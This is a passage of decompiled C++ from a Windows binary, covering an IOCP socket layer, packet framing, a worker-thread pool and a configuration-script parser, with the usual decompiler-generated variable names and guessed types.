v7 != 10038 && v7 != 10054 && v7 != 10053 && v7 != 10058 && v7 != 10022 ) { if ( v7 != 64 ) { sprintf(Msg, "CSocket_IOCP::WriteCallback %#x(%#x) err=%d"); _DebugMessageNew(1, "Msg", "%s"); } } CSocket_IOCP::FreeBuffer(v2); } CIOBuffer::Free(v5); } else { inet_ntoa(*(struct in_addr *)&v2->m_SocketAddr.sa_data[2]); ntohs(*(_WORD *)&v2->m_SocketAddr.sa_data[0]); _DEBUGMSG("MISSMATCH - WriteCallback, dwTransferred=%d, FirstBFSize=%d, IP=%s:%d, SOCKET=%d, m_nPendingWrite=%d"); CSocket_IOCP::FreeBuffer(v2); } LeaveCriticalSection(v3); } else { inet_ntoa(*(struct in_addr *)&v2->m_SocketAddr.sa_data[2]); ntohs(*(_WORD *)&v2->m_SocketAddr.sa_data[0]); _DEBUGMSG("m_pFirstBuf = NULL - WriteCallback, IP=%s:%d, SOCKET=%d, dwTransferred=%d, m_nPendingWrite=%d"); CSocket_IOCP::FreeBuffer(v2); LeaveCriticalSection(v3); } } //----- (00561730) -------------------------------------------------------- void __thiscall CSocket_IOCP::CSocket_IOCP(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->m_Write_IOCP_Process; this->m_IOCP_Process_Socket.baseclass_0.vfptr = (CIOCP_Process_InterfeceVtbl *)&CIOCP_Process_Interfece::_vftable_; CIOCP_Process::CIOCP_Process(&this->m_Write_IOCP_Process); CIOCP_Process::CIOCP_Process(&v1->m_Read_IOCP_Process); CIOCP_Process::CIOCP_Process(&v1->m_Close_IOCP_Process); v1->m_Socket = -1; *(_DWORD *)&v1->m_SocketAddr.sa_family = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[2] = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[6] = 0; *(_DWORD *)&v1->m_SocketAddr.sa_data[10] = 0; v1->m_Overlapped_Write.baseclass_0.Internal = 0; v1->m_Overlapped_Write.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Write.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Write.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Write.baseclass_0.hEvent = 0; v1->m_Overlapped_Write.Type = 0; v1->m_Overlapped_Write.pIOCP_Process = 0; v1->m_Overlapped_Write.pData = 0; v1->m_Overlapped_Write.Type = 1; v1->m_Overlapped_Write.pIOCP_Process = (CIOCP_Process *)v2; v1->m_Overlapped_Write.pData = v1; v1->m_Overlapped_Read.baseclass_0.Internal = 0; v1->m_Overlapped_Read.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Read.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Read.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Read.baseclass_0.hEvent = 0; v1->m_Overlapped_Read.Type = 0; v1->m_Overlapped_Read.pIOCP_Process = 0; v1->m_Overlapped_Read.pData = 0; v1->m_Overlapped_Read.pIOCP_Process = &v1->m_Read_IOCP_Process; v1->m_Overlapped_Read.pData = v1; v1->m_Overlapped_Read.Type = 0; v1->m_Overlapped_Close.baseclass_0.Internal = 0; v1->m_Overlapped_Close.baseclass_0.InternalHigh = 0; v1->m_Overlapped_Close.baseclass_0.___u2.Offset = 0; v1->m_Overlapped_Close.baseclass_0.OffsetHigh = 0; v1->m_Overlapped_Close.baseclass_0.hEvent = 0; v1->m_Overlapped_Close.Type = 0; v1->m_Overlapped_Close.pIOCP_Process = 0; v1->m_Overlapped_Close.pData = 0; v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; v1->m_Overlapped_Close.Type = 2; v1->m_Overlapped_Close.pIOCP_Process = &v1->m_Close_IOCP_Process; v1->m_Overlapped_Close.pData = v1; InitializeCriticalSection(&v1->m_Write_CS); } // 5E6F2C: using guessed type int (__stdcall *CIOCP_Process_Interfece___vftable_)(int pOverlapped, int NumOfBytes); //----- (00561820) -------------------------------------------------------- void __thiscall CSocket_IOCP::_CSocket_IOCP(CSocket_IOCP *this) { CSocket_IOCP *v1; // esi@1 v1 = this; if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); } CSocket_IOCP::Close(v1); EnterCriticalSection(&v1->m_Write_CS); CSocket_IOCP::FreeBuffer(v1); v1->m_nPendingWrite = 0; v1->m_pFirstBuf = 0; LeaveCriticalSection(&v1->m_Write_CS); DeleteCriticalSection(&v1->m_Write_CS); } //----- (005618A0) -------------------------------------------------------- int __thiscall CSocket_IOCP::Connect(CSocket_IOCP *this, char *pIPAddress, int PortNo) { CSocket_IOCP *v3; // esi@1 SOCKET v4; // eax@5 char *v5; // eax@6 char v6; // cl@7 char *v7; // eax@9 char *v8; // edx@10 char v9; // cl@11 unsigned __int16 v10; // ax@12 SOCKET v11; // ST00_4@12 SOCKET v13; // ST04_4@15 int sizename; // [sp+4h] [bp-118h]@15 sockaddr_in serv_addr; // [sp+8h] [bp-114h]@12 char NewIPAddress[256]; // [sp+18h] [bp-104h]@7 v3 = this; if ( this->m_Socket != -1 && shutdown(this->m_Socket, 1) ) { _DebugMessageNew(1, "Msg", "%s"); GetLastError(); } CSocket_IOCP::Close(v3); if ( !InetAddress::WinSockStart(2, 2) || (v4 = socket(2, 1, 6), v3->m_Socket = v4, v4 == -1) ) return 0; v5 = pIPAddress; do { v6 = *v5; v5[NewIPAddress - pIPAddress] = *v5; ++v5; } while ( v6 ); if ( isalpha(NewIPAddress[0]) ) { v7 = InetAddress::GetHostByName(pIPAddress); if ( v7 ) { v8 = (char *)(NewIPAddress - v7); do { v9 = *v7; v7[(_DWORD)v8] = *v7; ++v7; } while ( v9 ); } } *(_DWORD *)&serv_addr.sin_family = 0; *(_DWORD *)&serv_addr.sin_zero[0] = 0; *(_DWORD *)&serv_addr.sin_zero[4] = 0; serv_addr.sin_family = 2; *(_DWORD *)&serv_addr.sin_addr.S_un.S_un_b.s_b1 = inet_addr(NewIPAddress); v10 = htons(PortNo); v11 = v3->m_Socket; serv_addr.sin_port = v10; if ( connect(v11, (const struct sockaddr *)&serv_addr, 16) ) { WSAGetLastError(); CSocket_IOCP::Close(v3); return 0; } v13 = v3->m_Socket; sizename = 16; getpeername(v13, &v3->m_SocketAddr, &sizename); return 1; } //----- (00561A20) -------------------------------------------------------- int __thiscall CSocket_IOCP::Send(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes) { signed int v3; // ebx@1 void *v4; // ebp@1 int result; // eax@7 CIOBuffer *v6; // eax@10 CSocket_IOCP *thisa; // [sp+10h] [bp-108h]@1 char Msg[256]; // [sp+14h] [bp-104h]@3 v3 = dwNumBytes; v4 = pBuffer; thisa = this; if ( dwNumBytes > 0x2000 ) { if ( *(_BYTE *)pBuffer ) sprintf(Msg, "WARNING - CSocket_IOCP::Send, OVERMAX SIZE,TYPE_0, PacketSize=%d, Netcmd=%d,%d"); else sprintf(Msg, "WARNING - CSocket_IOCP::Send, OVERMAX SIZE,TYPE_1, PacketSize=%d, Netcmd=%d,%d"); _DebugMessageNew(1, "Msg", "%s"); } if ( dwNumBytes ) { while ( 1 ) { v6 = CIOBuffer::Alloc(); if ( (unsigned int)v3 > 0x2000 ) v3 = 8192; memcpy(v6->m_buffer, v4, v3); v6->m_dwSize = v3; if ( !CSocket_IOCP::Write(thisa, v6) ) break; v4 = (char *)v4 + v3; dwNumBytes -= v3; if ( !dwNumBytes ) goto LABEL_7; v3 = dwNumBytes; } result = 0; } else { LABEL_7: result = 1; } return result; } //----- (00561B50) -------------------------------------------------------- void __thiscall CPacket::_CPacket(CPacket *this) { CPacket *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->m_pPacketBuffer; this->vfptr = (CPacketVtbl *)CPacket::_vftable_; if ( v2 ) { operator delete(v2); v1->m_pPacketBuffer = 0; v1->m_MaxPacketSize = 0; v1->m_pPacketHeader = 0; } } // 5E7188: using guessed type int (__cdecl *CPacket___vftable_[2])(int __formal); //----- (00561B80) -------------------------------------------------------- int __thiscall CPacket::IsValidHeader(CPacket *this) { CPacket::PACKET *v1; // edx@1 unsigned int v2; // eax@1 v1 = this->m_pPacketHeader; v2 = &this->m_pPacketBuffer[this->m_WritePosition] - (char *)v1; if ( (signed int)(&this->m_pPacketBuffer[this->m_WritePosition] - (char *)v1) > 0 && v2 >= 1 ) { if ( v1->Packet1.size ) { if ( v2 >= 3 ) return 1; } else { if ( v2 >= 5 ) return 2; } } return 0; } //----- (00561BC0) -------------------------------------------------------- int __thiscall CPacket::IsValidPacket(CPacket *this) { CPacket *v1; // esi@1 int result; // eax@1 int v3; // eax@2 CPacket *nError; // [sp+4h] [bp-4h]@1 nError = this; v1 = this; result = ((int (*)(void))this->vfptr->IsValidHeader)(); if ( result ) { v3 = v1->vfptr->GetPacketSize(v1, (int *)&nError); if ( (signed int)nError < 0 || v3 > v1->m_MaxPacketSize || (unsigned int)v3 <= 2 ) result = 2; else result = (signed int)&v1->m_pPacketBuffer[v1->m_WritePosition - (unsigned int)v1->m_pPacketHeader] >= v3; } return result; } //----- (00561C10) -------------------------------------------------------- int __thiscall CPacket::GetPacketSize(CPacket *this, int *pError) { int result; // eax@4 CPacket::PACKET *v3; // eax@5 if ( !pError ) return 0; if ( !this->m_pPacketHeader ) { *pError = -1; return 0; } *pError = 0; v3 = this->m_pPacketHeader; if ( v3->Packet1.size ) result = v3->Packet1.size + 1; else result = v3->Packet1.ID + 3; return result; } //----- (00561C50) -------------------------------------------------------- unsigned __int16 __thiscall CPacket::GetDataSize(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = v1->Packet1.size; else result = v1->Packet1.ID; return result; } //----- (00561C70) -------------------------------------------------------- unsigned __int16 *__thiscall CPacket::GetIDPtr(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 *result; // eax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = &v1->Packet1.ID; else result = &v1->Packet2.ID; return result; } //----- (00561C80) -------------------------------------------------------- char *__thiscall CPacket::GetDataPtr(CPacket *this) { CPacket::PACKET *v1; // eax@1 char *result; // eax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = (char *)&v1->Packet2.ID; else result = (char *)&v1[1]; return result; } //----- (00561C90) -------------------------------------------------------- int __thiscall CPacket::GetPacket(CPacket *this, unsigned __int16 *pID, char **ppData, int *pDataSize) { CPacket *v4; // esi@1 int v5; // eax@1 int result; // eax@3 v4 = this; v5 = ((int (*)(void))this->vfptr->IsValidPacket)(); if ( v5 ) { if ( v5 == 1 ) { *pID = v4->vfptr->ID(v4); *ppData = v4->vfptr->GetDataPtr(v4); *pDataSize = v4->vfptr->GetDataSize(v4); result = 1; } else { result = 2; } } else { result = 0; } return result; } //----- (00561CF0) -------------------------------------------------------- void __thiscall CPacket::TakeNextPacket(CPacket *this) { CPacket *v1; // esi@1 int v2; // eax@1 CPacket *nError; // [sp+4h] [bp-4h]@1 nError = this; v1 = this; v2 = ((int (__stdcall *)(_DWORD))this->vfptr->GetPacketSize)(&nError); if ( (signed int)nError >= 0 ) v1->m_pPacketHeader = (CPacket::PACKET *)((char *)v1->m_pPacketHeader + v2); } //----- (00561D10) -------------------------------------------------------- int __thiscall CPacket::RemoveAllUsedPacket(CPacket *this) { CPacket *v1; // esi@1 int v2; // eax@1 int result; // eax@2 char *v4; // ecx@3 char *v5; // edx@3 int v6; // edi@3 v1 = this; v2 = this->m_WritePosition; if ( v2 >= this->m_MaxPacketSize ) { v4 = (char *)this->m_pPacketHeader; v5 = v1->m_pPacketBuffer; v6 = v4 - v5; if ( v4 == v5 ) { result = 0; } else { memmove(v5, v4, v2 - v6); v1->m_pPacketHeader = (CPacket::PACKET *)v1->m_pPacketBuffer; v1->m_WritePosition -= v6; result = 1; } } else { result = 0; } return result; } //----- (00561D60) -------------------------------------------------------- void __thiscall CPacket::Clear(CPacket *this) { CPacket *v1; // esi@1 v1 = this; if ( !this->m_pPacketBuffer ) { this->m_pPacketBuffer = (char *)operator new__(0x2000u); v1->m_MaxPacketSize = 8192; } v1->m_pPacketHeader = (CPacket::PACKET *)v1->m_pPacketBuffer; v1->m_WritePosition = 0; v1->m_ReadPosition = 0; } //----- (00561DA0) -------------------------------------------------------- unsigned __int16 __thiscall CPacket::ID(CPacket *this) { CPacket::PACKET *v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->m_pPacketHeader; if ( v1->Packet1.size ) result = v1->Packet1.ID; else result = v1->Packet2.ID; return result; } //----- (00561DC0) -------------------------------------------------------- void __thiscall CPacket::WriteData(CPacket *this, void *buffer, int size) { int v3; // edx@1 CPacket *v4; // eax@1 int v5; // ebx@1 int v6; // eax@2 void *v7; // edi@6 unsigned int v8; // ecx@6 v3 = size; v4 = this; v5 = this->m_WritePosition; if ( v5 + size > this->m_MaxPacketSize ) { v6 = (int)operator new(1u); if ( v6 ) { *(_BYTE *)v6 = 0; size = v6; } else { size = 0; } _CxxThrowException(&size, &_TI2PAVInvalidPacketException_CPacket__); } v7 = &this->m_pPacketBuffer[v5]; v8 = (unsigned int)size >> 2; memcpy(v7, buffer, 4 * ((unsigned int)size >> 2)); memcpy((char *)v7 + 4 * v8, (char *)buffer + 4 * v8, v3 & 3); v4->m_WritePosition += v3; v4->m_pPacketHeader->Packet1.size += v3; } //----- (00561E30) -------------------------------------------------------- int __thiscall CPacket::GetWriteableBufferSize(CPacket *this) { return this->m_MaxPacketSize - this->m_WritePosition; } //----- (00561E40) -------------------------------------------------------- char *__thiscall CPacket::GetWriteDataPtr(CPacket *this) { return &this->m_pPacketBuffer[this->m_WritePosition]; } //----- (00561E50) -------------------------------------------------------- void __thiscall CPacket::CPacket(CPacket *this) { CPacket *v1; // esi@1 void *v2; // eax@1 v1 = this; this->vfptr = (CPacketVtbl *)CPacket::_vftable_; this->m_pPacketBuffer = 0; this->m_pPacketHeader = 0; v2 = operator new__(0x2000u); v1->m_WritePosition = 0; v1->m_ReadPosition = 0; v1->m_pPacketBuffer = (char *)v2; v1->m_pPacketHeader = (CPacket::PACKET *)v2; v1->m_MaxPacketSize = 8192; } // 5E7188: using guessed type int (__cdecl *CPacket___vftable_[2])(int __formal); //----- (00561E90) -------------------------------------------------------- CPacket *__thiscall CPacket::ID(CPacket *this, unsigned __int16 PacketID, int DataSize, char *pData) { CPacket *v4; // esi@1 signed int v5; // edi@1 int v6; // ebx@1 void *v7; // eax@5 CPacket::PACKET *v8; // ecx@8 CPacket *result; // eax@9 v4 = this; v5 = (unsigned int)(DataSize + 2) < 0x100 ? 3 : 5; v6 = v5 + DataSize; if ( this->m_pPacketBuffer && this->m_MaxPacketSize < v6 ) { operator delete(this->m_pPacketBuffer); v4->m_pPacketBuffer = 0; } if ( !v4->m_pPacketBuffer ) { v7 = operator new__(v6); v4->m_pPacketBuffer = (char *)v7; v4->m_pPacketHeader = (CPacket::PACKET *)v7; v4->m_MaxPacketSize = v6; } v4->m_WritePosition = v5; if ( pData ) CPacket::WriteData(v4, pData, DataSize); v8 = v4->m_pPacketHeader; if ( v5 == 3 ) { v8->Packet1.ID = PacketID; v4->m_pPacketHeader->Packet1.size = v6 - 1; v4->m_ReadPosition = 3; result = v4; } else { v8->Packet2.ID = PacketID; v4->m_pPacketHeader->Packet1.size = 0; v4->m_pPacketHeader->Packet1.ID = v6 - 3; v4->m_ReadPosition = v5; result = v4; } return result; } //----- (00561F40) -------------------------------------------------------- void __thiscall CIOCP::CIOCP(CIOCP *this) { this->m_NumOfWorkThread = 0; this->m_ActiveWorker = 0; this->m_pWorkThreads = 0; this->m_HandleIOCP = 0; this->m_Overlapped_Stop.baseclass_0.Internal = 0; this->m_Overlapped_Stop.baseclass_0.InternalHigh = 0; this->m_Overlapped_Stop.baseclass_0.___u2.Offset = 0; this->m_Overlapped_Stop.baseclass_0.OffsetHigh = 0; this->m_Overlapped_Stop.baseclass_0.hEvent = 0; this->m_Overlapped_Stop.Type = 0; this->m_Overlapped_Stop.pIOCP_Process = 0; this->m_Overlapped_Stop.pData = 0; this->m_Overlapped_Stop.Type = 3; } //----- (00561F80) -------------------------------------------------------- void *__thiscall CIOCP::Register(CIOCP *this, void *IOHandle, unsigned int CompletionKey) { CIOCP *v3; // esi@1 void *result; // eax@2 v3 = this; if ( this->m_HandleIOCP != (void *)-1 || (result = CreateIoCompletionPort((HANDLE)0xFFFFFFFF, 0, 0, 0), v3->m_HandleIOCP = result, result != (void *)-1) ) result = CreateIoCompletionPort(IOHandle, v3->m_HandleIOCP, CompletionKey, 0); return result; } //----- (00561FC0) -------------------------------------------------------- void __thiscall CIOCP::Stop(CIOCP *this, int StopWorkerID) { ULONG_PTR v2; // esi@1 int v3; // ebp@4 int v4; // eax@4 signed int v5; // ebx@7 int v6; // edi@8 int v7; // ebp@8 int v8; // eax@9 int v9; // ecx@9 int v10; // eax@9 signed int v11; // edx@15 int v12; // ecx@16 int v13; // eax@16 int ThreadEnd; // [sp+4h] [bp-8h]@4 int ThreadStart; // [sp+8h] [bp-4h]@4 v2 = (ULONG_PTR)this; if ( this->m_pWorkThreads && this->m_ActiveWorker ) { if ( StopWorkerID == -1 ) { v3 = this->m_NumOfWorkThread; v4 = 0; ThreadStart = 0; ThreadEnd = this->m_NumOfWorkThread; } else { ThreadStart = StopWorkerID; ThreadEnd = StopWorkerID + 1; v3 = StopWorkerID + 1; v4 = StopWorkerID; } while ( 1 ) { v5 = 0; if ( v4 >= v3 ) goto LABEL_26; v6 = 20 * v4; v7 = v3 - v4; do { v8 = *(_DWORD *)(v2 + 12); v9 = *(_DWORD *)(v8 + v6 + 4); v10 = v6 + v8; switch ( v9 ) { case 4: CloseHandle(*(HANDLE *)(v10 + 8)); *(_DWORD *)(v6 + *(_DWORD *)(v2 + 12) + 4) = 0; break; case 2: *(_DWORD *)(v10 + 4) = 3; v5 = 1; PostQueuedCompletionStatus(*(HANDLE *)v2, 0, v2, (LPOVERLAPPED)(v2 + 16)); break; case 1: case 3: v5 = 1; break; default: break; } v6 += 20; --v7; } while ( v7 ); if ( !v5 ) { LABEL_26: v11 = 1; if ( *(_DWORD *)(v2 + 4) <= 0 ) goto LABEL_27; v12 = *(_DWORD *)(v2 + 4); v13 = *(_DWORD *)(v2 + 12) + 4; do { if ( *(_DWORD *)v13 ) v11 = 0; v13 += 20; --v12; } while ( v12 ); if ( v11 ) { LABEL_27: operator delete(*(void **)(v2 + 12)); *(_DWORD *)(v2 + 12) = 0; *(_DWORD *)(v2 + 8) = 0; return; } if ( StopWorkerID != -1 ) return; Sleep(2u); } v3 = ThreadEnd; v4 = ThreadStart; } } } //----- (005620F0) -------------------------------------------------------- unsigned int __stdcall CIOCP::WorkThread(void *lpParam) { void *v1; // esi@1 DWORD v2; // eax@5 int v3; // eax@8 void *hIOCP; // [sp+10h] [bp-Ch]@1 int NumOfBytes; // [sp+14h] [bp-8h]@2 int CompletionKey; // [sp+18h] [bp-4h]@2 v1 = lpParam; hIOCP = (void *)**((_DWORD **)lpParam + 4); _DEBUGMSGVC(gbDMVCICOP, ""); *((_DWORD *)v1 + 1) = 2; do { if ( GetQueuedCompletionStatus( hIOCP, (LPDWORD)&NumOfBytes, (PULONG_PTR)&CompletionKey, (LPOVERLAPPED *)&lpParam, 0x3E8u) ) { if ( *((_DWORD *)lpParam + 5) == 3 ) break; (*(void (__stdcall **)(void *, int))***((void (__stdcall *****)(_DWORD, _DWORD))lpParam + 6))(lpParam, NumOfBytes); } else { v2 = GetLastError(); if ( v2 != 258 ) { if ( v2 != 995 ) { if ( lpParam ) { v3 = *((_DWORD *)lpParam + 6); if ( v3 ) (*(void (__stdcall **)(void *))(**(_DWORD **)v3 + 4))(lpParam); } } } } } while ( *((_DWORD *)v1 + 1) == 2 ); *((_DWORD *)v1 + 1) = 4; _DEBUGMSGVC(gbDMVCICOP, ""); return 0; } //----- (005621D0) -------------------------------------------------------- int __thiscall CIOCP::Start(CIOCP *this, int nNumOfWorkThread, int bWaitAllThreadStart) { CIOCP *v3; // esi@1 int result; // eax@2 int v5; // ebx@3 int v6; // edi@4 int v7; // ebx@7 int v8; // edi@8 v3 = this; if ( this->m_HandleIOCP || (result = (int)CreateIoCompletionPort((HANDLE)0xFFFFFFFF, 0, 0, 0), (v3->m_HandleIOCP = (void *)result) != 0) ) { CIOCP::Stop(v3, -1); v5 = 0; v3->m_pWorkThreads = (CIOCP::WORKER *)operator new__(20 * nNumOfWorkThread); v3->m_ActiveWorker = 1; if ( nNumOfWorkThread > 0 ) { v6 = 0; do { v3->m_pWorkThreads[v6].pIOCP = v3; v3->m_pWorkThreads[v6].WorkerID = v5; v3->m_pWorkThreads[v6].WorkerStatus = 1; v3->m_pWorkThreads[v6].hThread = CreateThread( 0, 0, CIOCP::WorkThread, &v3->m_pWorkThreads[v6], 0, &v3->m_pWorkThreads[v6].ThreadID); Sleep(0x32u); ++v5; ++v6; } while ( v5 < nNumOfWorkThread ); } if ( bWaitAllThreadStart ) { v7 = 0; if ( nNumOfWorkThread > 0 ) { v8 = 0; do { if ( v3->m_pWorkThreads[v8].WorkerStatus == 1 ) { Sleep(0x32u); } else { ++v7; ++v8; } } while ( v7 < nNumOfWorkThread ); } } v3->m_NumOfWorkThread = nNumOfWorkThread; result = nNumOfWorkThread; } return result; } //----- (005622B0) -------------------------------------------------------- void __thiscall CIOCP::_CIOCP(CIOCP *this) { CIOCP *v1; // esi@1 v1 = this; CIOCP::Stop(this, -1); if ( v1->m_HandleIOCP ) { CloseHandle(v1->m_HandleIOCP); v1->m_HandleIOCP = 0; } } //----- (005622E0) -------------------------------------------------------- void __thiscall CCsl::VarClear(CCsl *this) { this->m_bEnd = 0; this->m_bRemarkBlock = 0; this->m_NumFormatErrors = 0; this->m_NumDataErrors = 0; this->m_NumFormats = 0; this->m_pFormats = 0; this->m_pFormatLast = 0; this->m_ppFormatTable = 0; this->m_NumDatas = 0; this->m_pDatas = 0; this->m_pDataLast = 0; this->m_ppDataTable = 0; this->m_dwNumResultMsg = 0; this->m_pResultMsgLast = 0; this->m_pResultMsgs = 0; this->m_pParentCsl = 0; this->m_bInclude = 0; } //----- (00562350) -------------------------------------------------------- int __thiscall CCsl::MakeFormatTable(CCsl *this) { CCsl *v1; // esi@1 int v2; // eax@3 CCsl::CSL_FORMAT_LIST *v3; // eax@4 int v4; // ecx@5 v1 = this; if ( this->m_ppFormatTable ) { operator delete(this->m_ppFormatTable); v1->m_ppFormatTable = 0; } v2 = v1->m_NumFormats; if ( v2 > 0 ) { v1->m_ppFormatTable = (CCsl::CSL_FORMAT_LIST **)operator new__(4 * v2); v3 = v1->m_pFormats; if ( v3 ) { v4 = 0; do { v1->m_ppFormatTable[v4] = v3; v3 = v3->pNext; ++v4; } while ( v3 ); } } return 1; } //----- (005623C0) -------------------------------------------------------- int __thiscall CCsl::MakeDataTable(CCsl *this) { CCsl *v1; // esi@1 int v2; // eax@3 CCsl::CSL_DATA_LIST *v3; // eax@4 int v4; // ecx@5 v1 = this; if ( this->m_ppDataTable ) { operator delete__(this->m_ppDataTable); v1->m_ppDataTable = 0; } v2 = v1->m_NumDatas; if ( v2 > 0 ) { v1->m_ppDataTable = (CCsl::CSL_DATA_LIST **)operator new__(4 * v2); v3 = v1->m_pDatas; if ( v3 ) { v4 = 0; do { v1->m_ppDataTable[v4] = v3; v3 = v3->pNext; ++v4; } while ( v3 ); } } return 1; } //----- (00562430) -------------------------------------------------------- int __thiscall CCsl::AddResultMsg(CCsl *this, char *pszMsg) { CCsl *v2; // ebx@1 int result; // eax@1 char *v4; // ecx@2 char v5; // dl@3 v2 = this; result = (int)operator new__(strlen(pszMsg) + 9); if ( result ) { *(_DWORD *)result = 0; v4 = pszMsg; do { v5 = *v4; v4[result + 4 - (_DWORD)pszMsg] = *v4; ++v4; } while ( v5 ); if ( v2->m_pResultMsgs ) v2->m_pResultMsgLast->pNext = (CCsl::CSL_RESULT_MSG_LIST *)result; else v2->m_pResultMsgs = (CCsl::CSL_RESULT_MSG_LIST *)result; v2->m_pResultMsgLast = (CCsl::CSL_RESULT_MSG_LIST *)result; ++v2->m_dwNumResultMsg; result = 1; } return result; } //----- (005624B0) -------------------------------------------------------- CCsl::CSL_FORMAT_LIST *__thiscall CCsl::GetFormat(CCsl *this, int Index) { int v2; // edx@1 CCsl::CSL_FORMAT_LIST *result; // eax@2 CCsl::CSL_FORMAT_LIST **v4; // esi@3 int v5; // ecx@5 v2 = this->m_NumFormats; if ( v2 > Index ) { v4 = this->m_ppFormatTable; if ( v4 || (result = this->m_pFormats) == 0 ) { result = v4[Index]; } else { v5 = 0; if ( v2 <= 0 ) { LABEL_8: result = 0; } else { while ( v5 != Index ) { result = result->pNext; ++v5; if ( v5 >= v2 ) goto LABEL_8; } } } } else { result = 0; } return result; } //----- (00562500) -------------------------------------------------------- int __thiscall CCsl::GetNumDatas(CCsl *this) { return this->m_NumDatas; } //----- (00562510) -------------------------------------------------------- CCsl::CSL_DATA_LIST *__thiscall CCsl::GetDataInfo(CCsl *this, int Index) { int v2; // edx@1 CCsl::CSL_DATA_LIST *result; // eax@2 CCsl::CSL_DATA_LIST **v4; // esi@3 int v5; // ecx@5 v2 = this->m_NumDatas; if ( v2 > Index ) { v4 = this->m_ppDataTable; if ( v4 || (result = this->m_pDatas) == 0 ) { result = v4[Index]; } else { v5 = 0; if ( v2 <= 0 ) { LABEL_8: result = 0; } else { while ( v5 != Index ) { result = result->pNext; ++v5; if ( v5 >= v2 ) goto LABEL_8; } } } } else { result = 0; } return result; } //----- (00562560) -------------------------------------------------------- void *__thiscall CCsl::GetData(CCsl *this, int Index, int VarNo) { CCsl *v3; // esi@1 int *v4; // eax@1 int *v5; // edi@1 CCsl::CSL_FORMAT_LIST *v6; // eax@2 CCsl::CSL_FORMAT_LIST *v7; // ecx@2 int v8; // edx@3 void *result; // eax@4 int *v10; // esi@6 CCsl::CSL_PARAMETER *v11; // ecx@6 v3 = this; v4 = (int *)CCsl::GetDataInfo(this, Index); v5 = v4; if ( v4 && (v6 = CCsl::GetFormat(v3, *v4), (v7 = v6) != 0) && (v8 = VarNo, v6->NumParameter > VarNo) ) { result = (void *)v5[2]; if ( VarNo > 0 ) { v10 = v3->m_pCslParameterSize; v11 = v7->pParameter; do { result = (char *)result + v10[*v11]; ++v11; --v8; } while ( v8 ); } } else { result = 0; } return result; } //----- (005625C0) -------------------------------------------------------- int __thiscall CCsl::ProcRemark(CCsl *this, char *Token) { CCsl *v2; // esi@1 unsigned int v3; // eax@1 int result; // eax@3 char *v5; // eax@7 int v6; // edx@8 char v7; // cl@9 int v8; // esi@11 char *v9; // eax@12 int v10; // edx@13 char v11; // cl@14 char *v12; // eax@17 int v13; // edx@18 char v14; // cl@19 int v15; // esi@21 char *v16; // eax@22 int v17; // edx@23 char v18; // cl@24 int v19; // esi@26 int v20; // eax@27 char v21; // cl@28 v2 = this; v3 = CToken::IsTokenID(&this->baseclass_0, Token, this->m_CslRemarks, 7u); if ( v2->m_bRemarkBlock && v3 != 2 ) { result = 1; } else { switch ( v3 ) { case 1u: v2->m_bRemarkBlock = 1; result = 1; break; case 2u: v2->m_bRemarkBlock = 0; result = 1; break; case 3u: v5 = CToken::GetToken(&v2->baseclass_0); if ( v5 ) { v6 = v2->m_CslSeprator - v5; do { v7 = *v5; v5[v6] = *v5; ++v5; } while ( v7 ); CToken::SetSeprator(&v2->baseclass_0, v2->m_CslSeprator); result = 1; } else { v8 = (int)v2->m_CslSeprator; *(_DWORD *)v8 = *(_DWORD *)", \t\r\n"; *(_WORD *)(v8 + 4) = *(_WORD *)"\n"; result = 1; } break; case 4u: v9 = CToken::GetToken(&v2->baseclass_0); if ( v9 ) { v10 = v2->m_CslRemarkLine - v9; do { v11 = *v9; v9[v10] = *v9; ++v9; } while ( v11 ); result = 1; } else { *(_WORD *)&v2->m_CslRemarkLine[0] = 59; result = 1; } break; case 5u: v12 = CToken::GetToken(&v2->baseclass_0); if ( v12 ) { v13 = v2->m_CslRemarkStart - v12; do { v14 = *v12; v12[v13] = *v12; ++v12; } while ( v14 ); result = 1; } else { v15 = (int)v2->m_CslRemarkStart; *(_WORD *)v15 = *(_WORD *)"/*"; *(_BYTE *)(v15 + 2) = asc_5E7200[2]; result = 1; } break; case 6u: v16 = CToken::GetToken(&v2->baseclass_0); if ( v16 ) { v17 = v2->m_CslRemarkEnd - v16; do { v18 = *v16; v16[v17] = *v16; ++v16; } while ( v18 ); result = 1; } else { v19 = (int)v2->m_CslRemarkEnd; *(_WORD *)v19 = *(_WORD *)"*/"; *(_BYTE *)(v19 + 2) = asc_5E71FC[2]; result = 1; } break; case 0u: goto $L64571; default: v20 = (int)v2->m_CslRemarkLine; do v21 = *(_BYTE *)v20++; while ( v21 ); if ( _mbsnbcmp(Token, v2->m_CslRemarkLine, v20 - (_DWORD)((char *)v2 + 1025)) ) { result = 0; } else { $L64571: CToken::GoNextLine(&v2->baseclass_0); result = 1; } break; } } return result; } //----- (005627C0) -------------------------------------------------------- CCsl::CSL_FORMAT_LIST *__thiscall CCsl::MakeFormat(CCsl *this) { CCsl *v1; // ebp@1 int v2; // ebx@1 char *v3; // eax@3 const char *v4; // edi@3 unsigned int v5; // eax@7 unsigned int v6; // esi@7 const char *v7; // esi@9 int v8; // ebx@9 void *v9; // eax@13 int v10; // edi@16 int i; // esi@16 void *v12; // eax@17 void *v13; // eax@23 void *v14; // esi@23 int v15; // eax@23 char v16; // cl@24 int v17; // edi@25 void *v18; // eax@26 void *pParameters; // [sp+10h] [bp-260h]@1 int NumParameters; // [sp+14h] [bp-25Ch]@1 void *pParameterLast; // [sp+18h] 